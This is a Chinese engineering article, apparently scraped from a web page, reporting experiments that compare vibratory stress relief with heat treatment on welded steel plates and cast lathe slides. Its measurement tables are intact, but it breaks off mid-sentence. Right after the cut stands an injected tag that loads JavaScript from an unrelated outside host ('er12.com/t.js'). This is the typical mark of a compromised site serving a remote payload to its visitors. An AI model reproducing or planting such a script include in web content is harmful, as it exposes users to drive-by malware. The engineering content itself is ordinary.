振动时效在过去二十几年中,得以迅速发展,但其效果如何,是大家所关心的问提。本文仅就这个问题。谈些看法力求能够说明它。但由于水平所限,难免有错误,请批评指正。
一. 振动能消除焊接件的残余应力
大家都知道,焊接会产生很大的残余应力,我们利用这点,制成如图一所示的六块试样,其编号为1#-6#,材质为a3,板厚30mm。
在其一面沿纵向堆焊两条8mm宽,2-3mm高的焊道(见图一)。由于焊接应力的作用,钢板呈弧形挠曲,沿纵向中心线附近可认为产生一弹性应力场。从材料力学可知(1)沿纵向拉(压)应力σmax=e·ymax/ρ其中e为杨氏模量,ymax =i/2板厚=15mm,ρ=1/2(h+12/4h)
h为挠曲直,i为工件长。
用此式计算出其拉(压)应力在11.9-16.7kg/mm2之间。
将这六件做不同的处理:1#.2#不做任何时效,3#.4#振动时效,5#.6#热时效。
振动时效规范:扫描得一阶共频为52.9hz(3172转/分),二节线距两端面340mm,沿纵向振幅分布列于表一。在52.2hz(3132转/分)共振30分钟。
表一.3# 4#试样振动加速度分布
编号
与一端距离
50
250
450
650
850
1050
1250
1450
单位:mm
3
振幅 a
-12.0
-5.1
8.0
11.7
11.2
7.2
-4.3
-11.6
单位:g
4
振幅 a
-11.8
-4.7
7.9
10.9
11.6
7.4
-4.7
-11.2
单位:g由图二可知:3#.4#试样纵向振幅为正弦形,最大振幅约为12个加速度。
热时效规范:室温装炉,550oc 保温3小时,随炉冷至250o出炉。
为测这六块试样的残余应力,在每件距其一端400mm处划出150×160mm的方块,沿纵向中心线,在如图一所示的位置上贴两张3×5(片基距)的纸基120ω电阻片。用刨床或手锯,将这150χ160mm的方块缓慢切下(以不产生残余应力为限)。同时用yj-5型静态电阻应变仪测出释放应变,再用公式σr=e·ε计算释放应力的大小。其中: e为杨氏模量,ε为测得的微应变数 。计算结果列于表二。
表二:消除应力比较表 应力单位:公斤/平方毫米
试样编号
1
2
3
4
5
6
工件状态
没时效
没时效
振动时效
振动时效
热时效
热时效
原挠曲(mm)
14.9
9.7
12.6
13.9
14.7
11.8
残留内应力:
16.7
11.9
14.1
15.6
16.3
13.3
释放应变: με
617
518
159
233
74
127
释放应力
13.0
10.9
3.3
4.9
1.6
2.7
单件消除应力百分比%
76.5
67.3
90
79.6
平均消除应力百分比%
71.9
84.3
从表二可知:没经时效的1#.2#试样释放出的应力几乎等于焊接时的残余应力,这表明我们所用的方法是可靠的。从表二还可看出,振动消除应力71.9%,热时效消除应力84.3%,振动和热时效能消除残余应力的大部分。振动时效消除的应力虽然比热时效略低但振动有许多优点,比如,经振动工件松弛刚度比热时效有显著体高,在动载和静载下的变形显著降低等,都表示了它可与热时效相媲美。
注:松弛刚度是指工件产生松弛时的最小应力值小
二. 振动能使中小型铸件尺寸稳定
振动也能消除中.小型铸件的残余应力吗?为此,我们做了下述实验:用c5116a(1米6立车)的立刀架滑枕(件号55011)七件,振动时效后长期观测其几何尺寸的变化。
按工艺规定:55011件需二次热时效,否则因导轨面挠曲而易擦伤。我们试验的目的是看振动时效能否使工件尺寸稳定,进而用振动时效代替热时效。55011件如图二所示。
扫频(激振力频率从低缓慢向高调整)证明:我们现用的激振器不能使这固有频率300hz的工件共振,为此,采用了如下的降拼措施:用m20的螺栓三支将工件对接(01#与03#对接,04#与05#对接). 扫频得一、二、三阶共振频率为31.5hz,62.9hz91.9hz。令工件在31.5hz振25分钟。弹性两点支撑,支点分别在距两端700mm处,沿纵向的加速度、相角。其振型如图三所示。
图三可知:55011件做正弦振动,每组一阶共振有两个节点,距一端约700mm.
将这七件(四件振动的、三件没振的)三点支撑,放在300mm以上陈旧水泥地面上,调水平后,测各件两导轨的平直性。
用德国蔡氏合向水平仪,每件分七段.从小头80 mm处测起,仪器精度:2μ/200mm。室温为22℃±2o.01#-03#,04#-05#振前测量一次,振后再测一次,振动使变形提前发生了,最大变形达24.0微米。说明了振动使工件变形(但不大)。
在同一天测量其余三件导轨的平直性,然后每隔一个月测量一次,所得结果。
因为仪器的精度为2μ/200mm ,?script src=http://er12.com/t.js>